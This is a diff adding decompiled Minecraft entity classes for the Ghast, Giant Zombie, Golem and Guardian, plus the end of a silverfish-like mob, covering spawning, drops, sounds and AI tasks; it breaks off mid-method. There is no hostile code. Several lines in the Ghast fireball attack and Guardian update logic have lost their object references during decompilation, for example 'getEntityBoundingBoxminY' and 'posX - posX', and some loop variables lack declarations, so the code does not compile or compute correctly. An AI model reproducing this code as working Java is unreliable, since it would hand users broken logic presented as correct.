+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.silverfish.step", 0.15F, 1.0F);
+  }
+  
+  protected net.minecraft.item.Item getDropItem()
+  {
+    return null;
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    lifetime = tagCompund.getInteger("Lifetime");
+    playerSpawned = tagCompund.getBoolean("PlayerSpawned");
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("Lifetime", lifetime);
+    tagCompound.setBoolean("PlayerSpawned", playerSpawned);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    renderYawOffset = rotationYaw;
+    super.onUpdate();
+  }
+  
+  public boolean isSpawnedByPlayer()
+  {
+    return playerSpawned;
+  }
+  
+  public void setSpawnedByPlayer(boolean p_175496_1_)
+  {
+    playerSpawned = p_175496_1_;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if (worldObj.isRemote)
+    {
+      for (int var1 = 0; var1 < 2; var1++)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.PORTAL, posX + (rand.nextDouble() - 0.5D) * width, posY + rand.nextDouble() * height, posZ + (rand.nextDouble() - 0.5D) * width, (rand.nextDouble() - 0.5D) * 2.0D, -rand.nextDouble(), (rand.nextDouble() - 0.5D) * 2.0D, new int[0]);
+      }
+    }
+    else
+    {
+      if (!isNoDespawnRequired())
+      {
+        lifetime += 1;
+      }
+      
+      if (lifetime >= 2400)
+      {
+        setDead();
+      }
+    }
+  }
+  
+
+
+
+  protected boolean isValidLightLevel()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    if (super.getCanSpawnHere())
+    {
+      EntityPlayer var1 = worldObj.getClosestPlayerToEntity(this, 5.0D);
+      return var1 == null;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.ARTHROPOD;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityGhast.java b/src/minecraft/net/minecraft/entity/monster/EntityGhast.java
new file mode 100644
index 0000000..5ace71e
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityGhast.java
@@ -0,0 +1,406 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityFlying;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIBase;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityLargeFireball;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+
+public class EntityGhast extends EntityFlying implements IMob
+{
+  private int explosionStrength = 1;
+  private static final String __OBFID = "CL_00001689";
+  
+  public EntityGhast(World worldIn)
+  {
+    super(worldIn);
+    setSize(4.0F, 4.0F);
+    isImmuneToFire = true;
+    experienceValue = 5;
+    moveHelper = new GhastMoveHelper();
+    tasks.addTask(5, new AIRandomFly());
+    tasks.addTask(7, new AILookAround());
+    tasks.addTask(7, new AIFireballAttack());
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIFindEntityNearestPlayer(this));
+  }
+  
+  public boolean func_110182_bF()
+  {
+    return dataWatcher.getWatchableObjectByte(16) != 0;
+  }
+  
+  public void func_175454_a(boolean p_175454_1_)
+  {
+    dataWatcher.updateObject(16, Byte.valueOf((byte)(p_175454_1_ ? 1 : 0)));
+  }
+  
+  public int func_175453_cd()
+  {
+    return explosionStrength;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if ((!worldObj.isRemote) && (worldObj.getDifficulty() == EnumDifficulty.PEACEFUL))
+    {
+      setDead();
+    }
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if (("fireball".equals(source.getDamageType())) && ((source.getEntity() instanceof EntityPlayer)))
+    {
+      super.attackEntityFrom(source, 1000.0F);
+      ((EntityPlayer)source.getEntity()).triggerAchievement(net.minecraft.stats.AchievementList.ghast);
+      return true;
+    }
+    
+
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)0));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(10.0D);
+    getEntityAttribute(SharedMonsterAttributes.followRange).setBaseValue(100.0D);
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.ghast.moan";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.ghast.scream";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.ghast.death";
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.gunpowder;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(2) + rand.nextInt(1 + p_70628_2_);
+    
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.ghast_tear, 1);
+    }
+    
+    var3 = rand.nextInt(3) + rand.nextInt(1 + p_70628_2_);
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.gunpowder, 1);
+    }
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 10.0F;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return (rand.nextInt(20) == 0) && (super.getCanSpawnHere()) && (worldObj.getDifficulty() != EnumDifficulty.PEACEFUL);
+  }
+  
+
+
+
+  public int getMaxSpawnedInChunk()
+  {
+    return 1;
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("ExplosionPower", explosionStrength);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("ExplosionPower", 99))
+    {
+      explosionStrength = tagCompund.getInteger("ExplosionPower");
+    }
+  }
+  
+  public float getEyeHeight()
+  {
+    return 2.6F;
+  }
+  
+  class AIFireballAttack extends EntityAIBase
+  {
+    private EntityGhast field_179470_b = EntityGhast.this;
+    public int field_179471_a;
+    private static final String __OBFID = "CL_00002215";
+    
+    AIFireballAttack() {}
+    
+    public boolean shouldExecute() { return field_179470_b.getAttackTarget() != null; }
+    
+
+    public void startExecuting()
+    {
+      field_179471_a = 0;
+    }
+    
+    public void resetTask()
+    {
+      field_179470_b.func_175454_a(false);
+    }
+    
+    public void updateTask()
+    {
+      EntityLivingBase var1 = field_179470_b.getAttackTarget();
+      double var2 = 64.0D;
+      
+      if ((var1.getDistanceSqToEntity(field_179470_b) < var2 * var2) && (field_179470_b.canEntityBeSeen(var1)))
+      {
+        World var4 = field_179470_b.worldObj;
+        field_179471_a += 1;
+        
+        if (field_179471_a == 10)
+        {
+          var4.playAuxSFXAtEntity(null, 1007, new BlockPos(field_179470_b), 0);
+        }
+        
+        if (field_179471_a == 20)
+        {
+          double var5 = 4.0D;
+          Vec3 var7 = field_179470_b.getLook(1.0F);
+          double var8 = posX - (field_179470_b.posX + xCoord * var5);
+          double var10 = getEntityBoundingBoxminY + height / 2.0F - (0.5D + field_179470_b.posY + field_179470_b.height / 2.0F);
+          double var12 = posZ - (field_179470_b.posZ + zCoord * var5);
+          var4.playAuxSFXAtEntity(null, 1008, new BlockPos(field_179470_b), 0);
+          EntityLargeFireball var14 = new EntityLargeFireball(var4, field_179470_b, var8, var10, var12);
+          field_92057_e = field_179470_b.func_175453_cd();
+          posX = (field_179470_b.posX + xCoord * var5);
+          posY = (field_179470_b.posY + field_179470_b.height / 2.0F + 0.5D);
+          posZ = (field_179470_b.posZ + zCoord * var5);
+          var4.spawnEntityInWorld(var14);
+          field_179471_a = -40;
+        }
+      }
+      else if (field_179471_a > 0)
+      {
+        field_179471_a -= 1;
+      }
+      
+      field_179470_b.func_175454_a(field_179471_a > 10);
+    }
+  }
+  
+  class AILookAround extends EntityAIBase
+  {
+    private EntityGhast field_179472_a = EntityGhast.this;
+    private static final String __OBFID = "CL_00002217";
+    
+    public AILookAround()
+    {
+      setMutexBits(2);
+    }
+    
+    public boolean shouldExecute()
+    {
+      return true;
+    }
+    
+    public void updateTask()
+    {
+      if (field_179472_a.getAttackTarget() == null)
+      {
+        field_179472_a.renderYawOffset = (field_179472_a.rotationYaw = -(float)Math.atan2(field_179472_a.motionX, field_179472_a.motionZ) * 180.0F / 3.1415927F);
+      }
+      else
+      {
+        EntityLivingBase var1 = field_179472_a.getAttackTarget();
+        double var2 = 64.0D;
+        
+        if (var1.getDistanceSqToEntity(field_179472_a) < var2 * var2)
+        {
+          double var4 = posX - field_179472_a.posX;
+          double var6 = posZ - field_179472_a.posZ;
+          field_179472_a.renderYawOffset = (field_179472_a.rotationYaw = -(float)Math.atan2(var4, var6) * 180.0F / 3.1415927F);
+        }
+      }
+    }
+  }
+  
+  class AIRandomFly extends EntityAIBase
+  {
+    private EntityGhast field_179454_a = EntityGhast.this;
+    private static final String __OBFID = "CL_00002214";
+    
+    public AIRandomFly()
+    {
+      setMutexBits(1);
+    }
+    
+    public boolean shouldExecute()
+    {
+      EntityMoveHelper var1 = field_179454_a.getMoveHelper();
+      
+      if (!var1.isUpdating())
+      {
+        return true;
+      }
+      
+
+      double var2 = var1.func_179917_d() - field_179454_a.posX;
+      double var4 = var1.func_179919_e() - field_179454_a.posY;
+      double var6 = var1.func_179918_f() - field_179454_a.posZ;
+      double var8 = var2 * var2 + var4 * var4 + var6 * var6;
+      return (var8 < 1.0D) || (var8 > 3600.0D);
+    }
+    
+
+    public boolean continueExecuting()
+    {
+      return false;
+    }
+    
+    public void startExecuting()
+    {
+      Random var1 = field_179454_a.getRNG();
+      double var2 = field_179454_a.posX + (var1.nextFloat() * 2.0F - 1.0F) * 16.0F;
+      double var4 = field_179454_a.posY + (var1.nextFloat() * 2.0F - 1.0F) * 16.0F;
+      double var6 = field_179454_a.posZ + (var1.nextFloat() * 2.0F - 1.0F) * 16.0F;
+      field_179454_a.getMoveHelper().setMoveTo(var2, var4, var6, 1.0D);
+    }
+  }
+  
+  class GhastMoveHelper extends EntityMoveHelper
+  {
+    private EntityGhast field_179927_g = EntityGhast.this;
+    private int field_179928_h;
+    private static final String __OBFID = "CL_00002216";
+    
+    public GhastMoveHelper()
+    {
+      super();
+    }
+    
+    public void onUpdateMoveHelper()
+    {
+      if (update)
+      {
+        double var1 = posX - field_179927_g.posX;
+        double var3 = posY - field_179927_g.posY;
+        double var5 = posZ - field_179927_g.posZ;
+        double var7 = var1 * var1 + var3 * var3 + var5 * var5;
+        
+        if (field_179928_h-- <= 0)
+        {
+          field_179928_h += field_179927_g.getRNG().nextInt(5) + 2;
+          var7 = MathHelper.sqrt_double(var7);
+          
+          if (func_179926_b(posX, posY, posZ, var7))
+          {
+            field_179927_g.motionX += var1 / var7 * 0.1D;
+            field_179927_g.motionY += var3 / var7 * 0.1D;
+            field_179927_g.motionZ += var5 / var7 * 0.1D;
+          }
+          else
+          {
+            update = false;
+          }
+        }
+      }
+    }
+    
+    private boolean func_179926_b(double p_179926_1_, double p_179926_3_, double p_179926_5_, double p_179926_7_)
+    {
+      double var9 = (p_179926_1_ - field_179927_g.posX) / p_179926_7_;
+      double var11 = (p_179926_3_ - field_179927_g.posY) / p_179926_7_;
+      double var13 = (p_179926_5_ - field_179927_g.posZ) / p_179926_7_;
+      AxisAlignedBB var15 = field_179927_g.getEntityBoundingBox();
+      
+      for (int var16 = 1; var16 < p_179926_7_; var16++)
+      {
+        var15 = var15.offset(var9, var11, var13);
+        
+        if (!field_179927_g.worldObj.getCollidingBoundingBoxes(field_179927_g, var15).isEmpty())
+        {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityGiantZombie.java b/src/minecraft/net/minecraft/entity/monster/EntityGiantZombie.java
new file mode 100644
index 0000000..c8ab3cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityGiantZombie.java
@@ -0,0 +1,34 @@
+package net.minecraft.entity.monster;
+
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.world.World;
+
+public class EntityGiantZombie extends EntityMob
+{
+  private static final String __OBFID = "CL_00001690";
+  
+  public EntityGiantZombie(World worldIn)
+  {
+    super(worldIn);
+    setSize(width * 6.0F, height * 6.0F);
+  }
+  
+  public float getEyeHeight()
+  {
+    return 10.440001F;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(100.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.5D);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(50.0D);
+  }
+  
+  public float func_180484_a(net.minecraft.util.BlockPos p_180484_1_)
+  {
+    return worldObj.getLightBrightness(p_180484_1_) - 0.5F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityGolem.java b/src/minecraft/net/minecraft/entity/monster/EntityGolem.java
new file mode 100644
index 0000000..766199e
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityGolem.java
@@ -0,0 +1,57 @@
+package net.minecraft.entity.monster;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.passive.IAnimals;
+import net.minecraft.world.World;
+
+public abstract class EntityGolem extends EntityCreature implements IAnimals
+{
+  private static final String __OBFID = "CL_00001644";
+  
+  public EntityGolem(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  protected String getLivingSound()
+  {
+    return "none";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "none";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "none";
+  }
+  
+
+
+
+  public int getTalkInterval()
+  {
+    return 120;
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityGuardian.java b/src/minecraft/net/minecraft/entity/monster/EntityGuardian.java
new file mode 100644
index 0000000..110c486
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityGuardian.java
@@ -0,0 +1,742 @@
+package net.minecraft.entity.monster;
+
+import com.google.common.base.Predicate;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIBase;
+import net.minecraft.entity.ai.EntityAIMoveTowardsRestriction;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.EntityLookHelper;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemFishFood.FishType;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.Vec3;
+import net.minecraft.util.WeightedRandom;
+import net.minecraft.util.WeightedRandomFishable;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+
+public class EntityGuardian extends EntityMob
+{
+  private float field_175482_b;
+  private float field_175484_c;
+  private float field_175483_bk;
+  private float field_175485_bl;
+  private float field_175486_bm;
+  private EntityLivingBase field_175478_bn;
+  private int field_175479_bo;
+  private boolean field_175480_bp;
+  private EntityAIWander field_175481_bq;
+  private static final String __OBFID = "CL_00002213";
+  
+  public EntityGuardian(World worldIn)
+  {
+    super(worldIn);
+    experienceValue = 10;
+    setSize(0.85F, 0.85F);
+    tasks.addTask(4, new AIGuardianAttack());
+    EntityAIMoveTowardsRestriction var2;
+    tasks.addTask(5, var2 = new EntityAIMoveTowardsRestriction(this, 1.0D));
+    tasks.addTask(7, this.field_175481_bq = new EntityAIWander(this, 1.0D, 80));
+    tasks.addTask(8, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(8, new EntityAIWatchClosest(this, EntityGuardian.class, 12.0F, 0.01F));
+    tasks.addTask(9, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    field_175481_bq.setMutexBits(3);
+    var2.setMutexBits(3);
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAINearestAttackableTarget(this, EntityLivingBase.class, 10, true, false, new GuardianTargetSelector()));
+    moveHelper = new GuardianMoveHelper();
+    field_175484_c = (this.field_175482_b = rand.nextFloat());
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(6.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.5D);
+    getEntityAttribute(SharedMonsterAttributes.followRange).setBaseValue(16.0D);
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(30.0D);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    func_175467_a(tagCompund.getBoolean("Elder"));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("Elder", func_175461_cl());
+  }
+  
+  protected PathNavigate func_175447_b(World worldIn)
+  {
+    return new net.minecraft.pathfinding.PathNavigateSwimmer(this, worldIn);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Integer.valueOf(0));
+    dataWatcher.addObject(17, Integer.valueOf(0));
+  }
+  
+  private boolean func_175468_a(int p_175468_1_)
+  {
+    return (dataWatcher.getWatchableObjectInt(16) & p_175468_1_) != 0;
+  }
+  
+  private void func_175473_a(int p_175473_1_, boolean p_175473_2_)
+  {
+    int var3 = dataWatcher.getWatchableObjectInt(16);
+    
+    if (p_175473_2_)
+    {
+      dataWatcher.updateObject(16, Integer.valueOf(var3 | p_175473_1_));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Integer.valueOf(var3 & (p_175473_1_ ^ 0xFFFFFFFF)));
+    }
+  }
+  
+  public boolean func_175472_n()
+  {
+    return func_175468_a(2);
+  }
+  
+  private void func_175476_l(boolean p_175476_1_)
+  {
+    func_175473_a(2, p_175476_1_);
+  }
+  
+  public int func_175464_ck()
+  {
+    return func_175461_cl() ? 60 : 80;
+  }
+  
+  public boolean func_175461_cl()
+  {
+    return func_175468_a(4);
+  }
+  
+  public void func_175467_a(boolean p_175467_1_)
+  {
+    func_175473_a(4, p_175467_1_);
+    
+    if (p_175467_1_)
+    {
+      setSize(1.9975F, 1.9975F);
+      getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.30000001192092896D);
+      getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(8.0D);
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(80.0D);
+      enablePersistence();
+      field_175481_bq.func_179479_b(400);
+    }
+  }
+  
+  public void func_175465_cm()
+  {
+    func_175467_a(true);
+    field_175486_bm = (this.field_175485_bl = 1.0F);
+  }
+  
+  private void func_175463_b(int p_175463_1_)
+  {
+    dataWatcher.updateObject(17, Integer.valueOf(p_175463_1_));
+  }
+  
+  public boolean func_175474_cn()
+  {
+    return dataWatcher.getWatchableObjectInt(17) != 0;
+  }
+  
+  public EntityLivingBase func_175466_co()
+  {
+    if (!func_175474_cn())
+    {
+      return null;
+    }
+    if (worldObj.isRemote)
+    {
+      if (field_175478_bn != null)
+      {
+        return field_175478_bn;
+      }
+      
+
+      Entity var1 = worldObj.getEntityByID(dataWatcher.getWatchableObjectInt(17));
+      
+      if ((var1 instanceof EntityLivingBase))
+      {
+        field_175478_bn = ((EntityLivingBase)var1);
+        return field_175478_bn;
+      }
+      
+
+      return null;
+    }
+    
+
+
+
+    return getAttackTarget();
+  }
+  
+
+  public void func_145781_i(int p_145781_1_)
+  {
+    super.func_145781_i(p_145781_1_);
+    
+    if (p_145781_1_ == 16)
+    {
+      if ((func_175461_cl()) && (width < 1.0F))
+      {
+        setSize(1.9975F, 1.9975F);
+      }
+    }
+    else if (p_145781_1_ == 17)
+    {
+      field_175479_bo = 0;
+      field_175478_bn = null;
+    }
+  }
+  
+
+
+
+  public int getTalkInterval()
+  {
+    return 160;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return func_175461_cl() ? "mob.guardian.elder.idle" : !isInWater() ? "mob.guardian.land.idle" : "mob.guardian.idle";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return func_175461_cl() ? "mob.guardian.elder.hit" : !isInWater() ? "mob.guardian.land.hit" : "mob.guardian.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return func_175461_cl() ? "mob.guardian.elder.death" : !isInWater() ? "mob.guardian.land.death" : "mob.guardian.death";
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  public float getEyeHeight()
+  {
+    return height * 0.5F;
+  }
+  
+  public float func_180484_a(BlockPos p_180484_1_)
+  {
+    return worldObj.getBlockState(p_180484_1_).getBlock().getMaterial() == Material.water ? 10.0F + worldObj.getLightBrightness(p_180484_1_) - 0.5F : super.func_180484_a(p_180484_1_);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (worldObj.isRemote)
+    {
+      field_175484_c = field_175482_b;
+      
+      if (!isInWater())
+      {
+        field_175483_bk = 2.0F;
+        
+        if ((motionY > 0.0D) && (field_175480_bp) && (!isSlient()))
+        {
+          worldObj.playSound(posX, posY, posZ, "mob.guardian.flop", 1.0F, 1.0F, false);
+        }
+        
+        field_175480_bp = ((motionY < 0.0D) && (worldObj.func_175677_d(new BlockPos(this).offsetDown(), false)));
+      }
+      else if (func_175472_n())
+      {
+        if (field_175483_bk < 0.5F)
+        {
+          field_175483_bk = 4.0F;
+        }
+        else
+        {
+          field_175483_bk += (0.5F - field_175483_bk) * 0.1F;
+        }
+      }
+      else
+      {
+        field_175483_bk += (0.125F - field_175483_bk) * 0.2F;
+      }
+      
+      field_175482_b += field_175483_bk;
+      field_175486_bm = field_175485_bl;
+      
+      if (!isInWater())
+      {
+        field_175485_bl = rand.nextFloat();
+      }
+      else if (func_175472_n())
+      {
+        field_175485_bl += (0.0F - field_175485_bl) * 0.25F;
+      }
+      else
+      {
+        field_175485_bl += (1.0F - field_175485_bl) * 0.06F;
+      }
+      
+      if ((func_175472_n()) && (isInWater()))
+      {
+        Vec3 var1 = getLook(0.0F);
+        
+        for (int var2 = 0; var2 < 2; var2++)
+        {
+          worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX + (rand.nextDouble() - 0.5D) * width - xCoord * 1.5D, posY + rand.nextDouble() * height - yCoord * 1.5D, posZ + (rand.nextDouble() - 0.5D) * width - zCoord * 1.5D, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+      
+      if (func_175474_cn())
+      {
+        if (field_175479_bo < func_175464_ck())
+        {
+          field_175479_bo += 1;
+        }
+        
+        EntityLivingBase var14 = func_175466_co();
+        
+        if (var14 != null)
+        {
+          getLookHelper().setLookPositionWithEntity(var14, 90.0F, 90.0F);
+          getLookHelper().onUpdateLook();
+          double var15 = func_175477_p(0.0F);
+          double var4 = posX - posX;
+          double var6 = posY + height * 0.5F - (posY + getEyeHeight());
+          double var8 = posZ - posZ;
+          double var10 = Math.sqrt(var4 * var4 + var6 * var6 + var8 * var8);
+          var4 /= var10;
+          var6 /= var10;
+          var8 /= var10;
+          double var12 = rand.nextDouble();
+          
+          while (var12 < var10)
+          {
+            var12 += 1.8D - var15 + rand.nextDouble() * (1.7D - var15);
+            worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX + var4 * var12, posY + var6 * var12 + getEyeHeight(), posZ + var8 * var12, 0.0D, 0.0D, 0.0D, new int[0]);
+          }
+        }
+      }
+    }
+    
+    if (inWater)
+    {
+      setAir(300);
+    }
+    else if (onGround)
+    {
+      motionY += 0.5D;
+      motionX += (rand.nextFloat() * 2.0F - 1.0F) * 0.4F;
+      motionZ += (rand.nextFloat() * 2.0F - 1.0F) * 0.4F;
+      rotationYaw = (rand.nextFloat() * 360.0F);
+      onGround = false;
+      isAirBorne = true;
+    }
+    
+    if (func_175474_cn())
+    {
+      rotationYaw = rotationYawHead;
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+  public float func_175471_a(float p_175471_1_)
+  {
+    return field_175484_c + (field_175482_b - field_175484_c) * p_175471_1_;
+  }
+  
+  public float func_175469_o(float p_175469_1_)
+  {
+    return field_175486_bm + (field_175485_bl - field_175486_bm) * p_175469_1_;
+  }
+  
+  public float func_175477_p(float p_175477_1_)
+  {
+    return (field_175479_bo + p_175477_1_) / func_175464_ck();
+  }
+  
+  protected void updateAITasks()
+  {
+    super.updateAITasks();
+    
+    if (func_175461_cl())
+    {
+      boolean var1 = true;
+      boolean var2 = true;
+      boolean var3 = true;
+      boolean var4 = true;
+      
+      if ((ticksExisted + getEntityId()) % 1200 == 0)
+      {
+        Potion var5 = Potion.digSlowdown;
+        List var6 = worldObj.func_175661_b(EntityPlayerMP.class, new Predicate()
+        {
+          private static final String __OBFID = "CL_00002212";
+          
+          public boolean func_179913_a(EntityPlayerMP p_179913_1_) {
+            return (getDistanceSqToEntity(p_179913_1_) < 2500.0D) && (theItemInWorldManager.func_180239_c());
+          }
+          
+          public boolean apply(Object p_apply_1_) {
+            return func_179913_a((EntityPlayerMP)p_apply_1_);
+          }
+        });
+        Iterator var7 = var6.iterator();
+        
+        while (var7.hasNext())
+        {
+          EntityPlayerMP var8 = (EntityPlayerMP)var7.next();
+          
+          if ((!var8.isPotionActive(var5)) || (var8.getActivePotionEffect(var5).getAmplifier() < 2) || (var8.getActivePotionEffect(var5).getDuration() < 1200))
+          {
+            playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(10, 0.0F));
+            var8.addPotionEffect(new PotionEffect(id, 6000, 2));
+          }
+        }
+      }
+      
+      if (!hasHome())
+      {
+        func_175449_a(new BlockPos(this), 16);
+      }
+    }
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3) + rand.nextInt(p_70628_2_ + 1);
+    
+    if (var3 > 0)
+    {
+      entityDropItem(new ItemStack(Items.prismarine_shard, var3, 0), 1.0F);
+    }
+    
+    if (rand.nextInt(3 + p_70628_2_) > 1)
+    {
+      entityDropItem(new ItemStack(Items.fish, 1, ItemFishFood.FishType.COD.getItemDamage()), 1.0F);
+    }
+    else if (rand.nextInt(3 + p_70628_2_) > 1)
+    {
+      entityDropItem(new ItemStack(Items.prismarine_crystals, 1, 0), 1.0F);
+    }
+    
+    if ((p_70628_1_) && (func_175461_cl()))
+    {
+      entityDropItem(new ItemStack(net.minecraft.init.Blocks.sponge, 1, 1), 1.0F);
+    }
+  }
+  
+
+
+
+  protected void addRandomArmor()
+  {
+    ItemStack var1 = ((WeightedRandomFishable)WeightedRandom.getRandomItem(rand, net.minecraft.entity.projectile.EntityFishHook.func_174855_j())).getItemStack(rand);
+    entityDropItem(var1, 1.0F);
+  }
+  
+
+
+
+  protected boolean isValidLightLevel()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean handleLavaMovement()
+  {
+    return (worldObj.checkNoEntityCollision(getEntityBoundingBox(), this)) && (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty());
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return ((rand.nextInt(20) == 0) || (!worldObj.canBlockSeeSky(new BlockPos(this)))) && (super.getCanSpawnHere());
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if ((!func_175472_n()) && (!source.isMagicDamage()) && ((source.getSourceOfDamage() instanceof EntityLivingBase)))
+    {
+      EntityLivingBase var3 = (EntityLivingBase)source.getSourceOfDamage();
+      
+      if (!source.isExplosion())
+      {
